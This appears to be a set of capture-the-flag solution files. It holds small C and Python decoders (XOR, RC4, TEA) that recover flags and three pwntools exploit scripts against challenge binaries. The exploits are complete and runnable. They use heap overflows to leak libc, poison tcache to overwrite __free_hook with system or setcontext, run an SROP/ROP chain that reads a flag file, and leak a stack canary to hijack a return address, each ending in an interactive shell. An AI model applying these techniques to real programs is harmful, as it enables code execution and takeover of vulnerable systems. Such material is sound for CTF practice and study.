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def encode(s):
    str = ''
    for i in range(len(s)):
        res = ord(s[i]) ^ 32
        res += 31
        str += chr(res)

    return str

def decode(s):
    str = ''
    for i in range(len(s)):
        res = ord(s[i]) - 31
        res ^= 32
        str += chr(res)

    return str

m = 'ek`fz13b3c5e047b`bd`0/c268e600e7c5d1`|'
strings = ''
print decode(m)

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#include <cstdio>
#include <cstring>

unsigned char enc[] =
{
  0x8C, 0xC4, 0x00, 0xE6, 0x6A, 0x88, 0xB8, 0x90, 0xC2, 0x07,
  0x6B, 0xA9, 0xC3, 0x0A, 0x3E, 0xC0, 0x44, 0xA6, 0xFE, 0x7E,
  0xF0, 0x59, 0x4C, 0x83, 0x3D, 0x2B, 0xE2, 0xD3, 0x38, 0xCB,
  0x82, 0x5B, 0x00
};

void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
    int i = 0, j = 0;
    unsigned char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++)
    {
        s[i] = i;
        k[i] = key[i % Len];
    }
    for (i = 0; i < 256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void rc4_crypt(unsigned char* s, unsigned char* Data, unsigned long Len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}

int main()
{
    unsigned char s[256];
    unsigned char key[9] = "12345678";
    rc4_init(s, key, 8);
    rc4_crypt(s, enc, 32);
    printf("%s", enc);
    return 0;
}

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#include <cstdio>
#include "defs.h"


void tea_decrypt(unsigned __int64* v, unsigned __int64* k)
{
	__int64 sum = 0, i;
	unsigned __int64 v0 = v[0], v1 = v[1], v2 = v[2], v3 = v[3];
	unsigned __int64 k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
	for (i = 0; i < 0x20; i++) 
		sum += 0x9E3779B9i64;
	for (i = 0; i < 32; i++)
	{
		v3 -= ((v2 << 4) + k2) ^ (v2 + sum) ^ ((v2 >> 5) + k3);
		v2 -= ((v3 << 4) + k0) ^ (v3 + sum) ^ ((v3 >> 5) + k1);
		v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
		v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
		sum -= 0x9E3779B9i64;
	}
	v[0] = v0;
	v[1] = v1;
	v[2] = v2;
	v[3] = v3;
}

void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
	int i = 0, j = 0;
	unsigned char k[256] = { 0 };
	unsigned char tmp = 0;
	for (i = 0; i < 256; i++)
	{
		s[i] = i;
		k[i] = key[i % Len];
	}
	for (i = 0; i < 256; i++)
	{
		j = (j + s[i] + k[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
	}
}

void rc4_crypt(unsigned char* s, unsigned char* Data, unsigned long Len)
{
	int i = 0, j = 0, t = 0;
	unsigned long k = 0;
	unsigned char tmp;
	for (k = 0; k < Len; k++)
	{
		i = (i + 1) % 256;
		j = (j + s[i]) % 256;
		tmp = s[i];
		s[i] = s[j];
		s[j] = tmp;
		Data[k] ^= s[k];
	}
}


int main()
{
	unsigned __int64 v[] = { 
		0xE990A522BE80F786, 0x8B836286B8A5EB59, 0x2FDE61CCEFC70FF8, 0x56BC19E119C8B07B, 0
	};
	unsigned char k[] = "vTLHv`FTDC_vOPPEyam_uoyZht_deen_w";
	unsigned char s[256];
	unsigned char key[] = "dasctf:3";

	tea_decrypt(v, (unsigned __int64 *)k);
	for (int i = 0; i < 4; ++i)
	{
		int j = (i + 1) << 3;
		unsigned __int64 t = v[i];
		while (t)
		{
			((unsigned char*)v)[--j] = t & 0xFF;
			t >>= 8;
		}
	}
	rc4_init(s, key, 8);
	rc4_crypt(s, (unsigned char *)v, 32);
	printf("%s", v);
	return 0;
}

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from pwn import *

elf = None
libc = None
file_name = "./Easyheap"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter(">> :", str(idx))


def add(size, content = 'wjh'):
    choice(1)
    sh.sendlineafter("Size:", str(size))
    sh.sendafter("Content:", str(content))

def delete(idx):
    choice(2)
    sh.sendlineafter("Index:", str(idx))

def show(idx):
    choice(3)
    sh.sendlineafter("Index:", str(idx))


def edit(idx, content):
    choice(4)
    sh.sendlineafter("Index:", str(idx))
    sh.sendafter("Content:", str(content))


def pwn(sh, elf, libc):
    context.log_level = "debug"
    add(-1) #0
    add(0x500, 'a' * 0x500) #1
    add(0x500, 'a' * 0x500) #2
    delete(1)
    edit(0, 'a' * 0x20)
    show(0)
    libc_base = get_address(sh, True, info='libc_base:\t', offset=-0x3ebca0)
    edit(0, 'a' * 0x18 + p64(0x511))
    add(0x88, 'a' * 0x88) #1
    add(0x88, 'a' * 0x88) #3
    delete(3)
    delete(1)

    edit(0, 'a' * 0x20)
    show(0)
    #sh.recvuntil('1.add')
    heap_base = u64(sh.recvuntil('1.add', drop=True)[-6:].ljust(8, '\x00')) - 0x320
    log.success("heap_base:\t" + hex(heap_base))
    edit(0, 'a' * 0x18 + p64(0xa1))
    free_hook_addr = libc_base + 0x3ed8e8
    setcontext_addr = libc_base + 0x521b5
    edit(0, 'a' * 0x18 + p64(0x511) + p64(free_hook_addr))
    add(0x88, 'a' * 0x88) #1
    add(0x88, 'a' * 0x88) #3
    edit(3, p64(setcontext_addr))
    pop_rdi_addr = libc_base + 0x215bf
    pop_rsi_addr = libc_base + 0x23eea
    pop_rdx_addr = libc_base + 0x1b96
    pop_rax_addr = libc_base + 0x43ae8
    syscall_addr = libc_base + 0xd2745

    # SROP
    fake_frame_addr = heap_base + 0x790
    frame = SigreturnFrame()
    frame.rdi = fake_frame_addr + 0xF8
    frame.rsi = 0
    frame.rdx = 0x100
    frame.rsp = fake_frame_addr + 0xF8 + 0x10
    frame.rip = pop_rdi_addr + 1  # : ret

    rop_data = [
        pop_rax_addr,  # sys_open('flag', 0)
        2,
        syscall_addr,
        pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
        0,
        pop_rdi_addr,
        3,
        pop_rsi_addr,
        fake_frame_addr + 0x200,
        syscall_addr,

        pop_rax_addr,  # sys_write(1, heap, 0x100)
        1,
        pop_rdi_addr,
        1,
        pop_rsi_addr,
        fake_frame_addr + 0x200,
        syscall_addr
    ]
    edit(2, str(frame).ljust(0xF8, '\x00') + 'flag\x00\x00\x00\x00' + '\x00' * 0x8 + flat(rop_data))
    gdb.attach(sh, "b free")
    delete(2)

    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

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from pwn import *

elf = None
libc = None
file_name = "./realNoOutput"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sleep(1)
    sh.sendline(str(idx))

    #sleep(1)


def add(idx, size, content):
    choice(1)
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)


def delete(idx):
    choice(2)
    sh.sendline(str(idx))


def edit(idx, content):
    choice(3)
    sh.sendline(str(idx))
    sh.send(str(content))


def show(idx):
    choice(4)
    sh.sendline(str(idx))




def pwn(sh, elf, libc):
    context.log_level = "debug"
    for i in range(8):
        add(i, 0x100, 'wjh')

    for i in range(8):
        delete(7 - i)

    add(8, 0x18, 'wjh')

    edit(0, 'a' * 0x20)
    show(0)
    libc_base = get_address(sh, True, info="libc_base:\t", offset=-0x1ebbe0)
    edit(0, 'sh' + '\x00' * (0x18 - 2) + p64(0xf1))
    add(9, 0xe8, 'a' * 0xe8)
    add(1, 0xe8, 'a' * 0xe8)
    delete(9)
    delete(1)
    free_hook_addr = libc_base + 0x1eeb28
    system_addr = libc_base + 0x55410
    edit(0, p64(free_hook_addr))
    add(9, 0xe8, 'a' * 0xe8)
    add(9, 0xe8, p64(system_addr))

    #gdb.attach(sh, "b *$rebase(0x00000000000016B1)")
    delete(8)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

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from pwn import *
elf = None
libc = None
file_name = "./canary3"
#context.timeout = 1

def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary

def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc

def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)

def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)

def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()

def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def pwn(sh, elf, libc):
    context.log_level = "debug"
    sh.sendafter('username: ', 'admin' + '\x00' * (0x20 - 5))
    sh.sendafter('password: ', '168' + '\x00' * (0x20 - 3))
    sh.sendlineafter('3.exit', '2')
    sh.sendafter('input:', 'a' * 0x19)
    sh.sendlineafter('3.exit', '1')
    data = sh.recvuntil('Do ', drop=True)
    pie = u64(data[-6:].ljust(8, '\x00')) - 0x2530
    canary = u64(data[-13:-6].rjust(8, '\x00'))
    log.success('canary:\t' + hex(canary))
    log.success('pie:\t' + hex(pie))
    sh.sendlineafter('3.exit', '2')
    sh.sendafter('input:', 'a' * 0x18 + p64(canary) + 'b' * 8 + p64(pie + 0x239F))
    #gdb.attach(sh, "b *$rebase(0x0000000000002526)")
    sh.sendlineafter('3.exit', '3')
    sh.interactive()

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

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#include <cstdio>
#include <cstring>

unsigned char sz[] =
{
  0x64, 0x2E, 0x90, 0x34, 0x41, 0xD8, 0x24, 0xCB, 0x52, 0x2E,
  0xFB, 0x39, 0x3E, 0x91, 0x07, 0x0E, 0x96, 0xF6, 0x3C, 0x09,
  0x9C, 0x21, 0x92, 0x21, 0xB2, 0xCC, 0x9F, 0x51, 0x48, 0x63,
  0x4C, 0x8F, 0x72, 0x5D, 0xBF, 0x6C, 0x51, 0x76
};

void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
    int i = 0, j = 0;
    unsigned char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++)
    {
        s[i] = i;
        k[i] = key[i % Len];
    }
    for (i = 0; i < 256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void rc4_crypt(unsigned char* s, unsigned char* Data, unsigned long Len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}

int main()
{
    unsigned char s[256];
    unsigned char key[] = "golangc2";
    rc4_init(s, key, 8);
    rc4_crypt(s, sz, 38);
    printf("%s", sz);
    return 0;
}